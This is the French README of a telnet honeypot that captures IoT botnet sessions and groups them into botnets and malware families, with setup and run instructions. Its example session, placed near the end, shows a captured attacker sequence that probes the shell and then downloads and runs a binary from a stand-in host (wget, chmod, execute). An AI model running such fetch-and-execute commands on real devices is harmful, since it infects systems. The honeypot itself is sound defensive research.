Avertissement

Ce projet n'est plus maintenu ni en développement. Il est basé sur python2 qui a atteint sa fin de vie en 2020 et utilise des dépendances qui deviennent de plus en plus difficiles à installer. Utilisez-le à vos propres risques !

Honeypot Telnet pour IoT

'Python telnet honeypot for catching botnet binaries'

Ce projet implémente un serveur telnet python essayant de faire office de honeypot pour les malwares IoT qui se propagent via des mots de passe par défaut horriblement non sécurisés sur les serveurs telnet sur Internet.

Le honeypot fonctionne en émulant un environnement shell, tout comme cowrie (https://github.com/micheloosterhof/cowrie). L'objectif de ce projet est principalement d'analyser automatiquement les connexions de botnets et de "cartographier" les botnets en reliant différentes connexions et même des réseaux ensemble.

Architecture

L'application a une architecture client/serveur, avec un client (le honeypot proprement dit) acceptant les connexions telnet et un serveur qui reçoit les informations sur les connexions et effectue l'analyse.

Le serveur backend expose une interface HTTP qui est utilisée pour accéder au frontend ainsi que par les clients pour pousser de nouvelles informations de connexion vers le backend.

Analyse automatique

Le backend utilise 2 mécanismes différents pour lier automatiquement les connexions :

Réseaux

Les réseaux sont des botnets découverts. Un réseau est l'ensemble de toutes les connexions, URL et échantillons liés. Les URL et les échantillons sont liés lorsqu'ils sont utilisés dans une connexion. Deux connexions sont liées lorsque les deux connexions sont reçues par le même client honeypot (plusieurs clients sont pris en charge !) et utilisent les mêmes identifiants dans un court laps de temps (par défaut 2 minutes) ou proviennent de la même adresse IP.

Malware

Plusieurs réseaux sont identifiés comme utilisant le même type de malware si le texte saisi lors des sessions des réseaux est majoritairement le même. Cette comparaison est effectuée à l'aide d'une sorte de fonction de "hachage" qui traduit essentiellement une session (ou connexion) en une séquence de mots, puis mappe chaque mot sur un seul octet afin que cette séquence d'octets résultante puisse être facilement recherchée.

Exécution

L'application possède un fichier de configuration nommé config.py. Des exemples sont inclus pour les déploiements locaux et client/serveur.

Configuration

Le backend nécessite une base de données SQL (sqlite par défaut) qui est initialisée lors de la première exécution. Avant la première exécution, vous devez générer un compte administrateur qui sera utilisé pour générer d'autres utilisateurs. Le compte administrateur peut également être utilisé directement par un client pour publier des connexions. Lorsque plusieurs honeypots doivent être connectés, il est recommandé de créer plusieurs utilisateurs.

bash create_config.sh

Le client et le backend liront les fichiers config.yaml et config.dist.yaml pour lire les paramètres de configuration. Le fichier config.dist.yaml inclut les valeurs par défaut pour tous les paramètres sauf les identifiants de l'utilisateur administrateur et ces paramètres sont écrasés par les entrées dans le fichier config.yaml.

Exécution du serveur

python backend.py

Exécution du client

Ce projet contient son propre honeypot, cependant en raison de l'architecture client-serveur, d'autres honeypots peuvent également être utilisés.

Utilisation du honeypot intégré

python honeypot.py

Le client ne peut pas être démarré sans que le serveur soit en cours d'exécution. Pour utiliser une configuration différente pour le client, vous pouvez utiliser l'option -c comme ceci :

python honeypot.py -c myconfig.yaml

Si vous souhaitez simplement vérifier la fonctionnalité du honeypot, vous pouvez démarrer le client en mode interactif :

python honeypot shell

Utilisation de cowrie

J'ai écrit un plugin de sortie pour cowrie, qui a beaucoup plus de fonctionnalités que le honeypot intégré. Si vous souhaitez utiliser cowrie à la place, consultez mon fork qui inclut le module de sortie ici : https://github.com/Phype/cowrie .

Ouverture du frontend

Une fois le serveur démarré, ouvrez http://127.0.0.1/ dans votre navigateur préféré.

Exemple de connexion

enable
shell
sh
cat /proc/mounts; /bin/busybox PEGOK
cd /tmp; (cat .s || cp /bin/echo .s); /bin/busybox PEGOK
nc; wget; /bin/busybox PEGOK
(dd bs=52 count=1 if=.s || cat .s)
/bin/busybox PEGOK
rm .s; wget http://example.com:4636/.i; chmod +x .i; ./.i; exit

Images